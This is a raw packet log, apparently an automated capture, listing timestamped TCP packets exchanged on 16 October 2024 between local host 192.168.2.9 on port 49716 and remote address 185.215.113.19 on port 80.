Oct 16, 2024 19:22:39.439392090 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439392090 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439392090 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439415932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439448118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439481974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439493895 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439555883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439555883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439577103 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.439605951 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439605951 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439668894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439668894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439668894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439733982 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439733982 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439794064 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439794064 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439805984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439827919 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439851046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439940929 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439940929 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439940929 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439980984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.439980984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440012932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440047026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440047026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440212011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440212011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440212011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440212011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440212011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440212011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440212011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440237999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440289974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440289974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440325022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440350056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440351009 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440419912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440419912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440419912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440444946 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.440449953 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.440459013 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.440479040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440479040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440502882 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.440507889 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.440519094 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.440522909 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.440563917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440593004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440619946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440619946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440732956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440732956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440732956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440732956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440804005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440804005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440804958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440948963 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440948963 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440948963 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440948963 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.440948963 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441206932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441206932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441206932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441206932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441206932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441206932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441206932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441365957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441365957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441365957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441365957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441365957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441365957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441365957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441485882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441485882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441485882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441485882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441485882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441529036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441529036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441632032 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.441637039 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.441644907 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.441669941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441669941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441669941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441669941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441669941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441669941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441669941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441817045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441817045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441817045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441817999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441817999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441817999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441817999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441962957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441962957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441962957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441962957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441962957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441962957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.441962957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442020893 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442020893 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442050934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442050934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442078114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442136049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442136049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442194939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442194939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442194939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442229033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442229033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442248106 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442393064 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442393064 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442393064 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442394018 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442394018 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442394018 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442447901 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442447901 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442447901 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442532063 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442532063 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442532063 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442532063 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442676067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442676067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442676067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442676067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442676067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442676067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442676067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442781925 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442781925 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442781925 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442781925 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442781925 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442799091 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.442814112 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.442817926 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.442826986 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.442830086 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.442831039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442831039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442833900 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.442859888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442874908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442881107 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.442998886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442998886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442998886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442998886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442998886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.442998886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443013906 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443067074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443067074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443067074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443109989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443109989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443120003 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443125010 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443139076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443139076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443152905 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443156958 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443161011 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443165064 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443170071 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443175077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443176985 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443195105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443205118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443300962 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443317890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443317890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443317890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443317890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443317890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443397045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443397045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443397045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443397045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443429947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443484068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443484068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443484068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443525076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443525076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443571091 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443571091 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443591118 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443624973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443624973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443648100 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443653107 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443666935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443667889 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443690062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443706036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443792105 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443794012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443794012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443794012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443794012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443797112 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443809032 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443811893 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443820953 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443825006 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443829060 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443833113 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443837881 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.443851948 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443851948 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443851948 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443881035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443905115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443978071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443978071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443978071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.443978071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444006920 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444109917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444109917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444109917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444109917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444109917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444163084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444163084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444163084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444200993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444236040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444236040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444257021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444335938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444335938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444350004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444389105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444475889 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.444479942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444479942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444479942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444479942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444480896 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.444479942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444490910 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.444498062 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.444500923 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.444509983 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.444511890 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.444514036 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.444521904 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444521904 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444533110 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.444536924 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.444545031 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.444597006 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.444601059 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.444602966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444602966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444602966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444611073 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.444614887 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.444621086 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444645882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444669962 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444700003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.444716930 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.444721937 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.444839954 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.445195913 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.446533918 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.446733952 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.448971033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449002028 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449007034 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449011087 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449013948 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449014902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449018955 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449023008 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449031115 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449040890 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449044943 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449054003 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449058056 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449062109 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449083090 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449085951 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449094057 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449137926 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449141979 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449146032 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449178934 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449183941 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449187040 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449191093 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449217081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449337006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449337006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449337006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449389935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449389935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449429035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449446917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449541092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449541092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449598074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449671030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449671030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449811935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449811935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449811935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449811935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449811935 CEST	49716	80	192.168.2.9	185.215.113.19
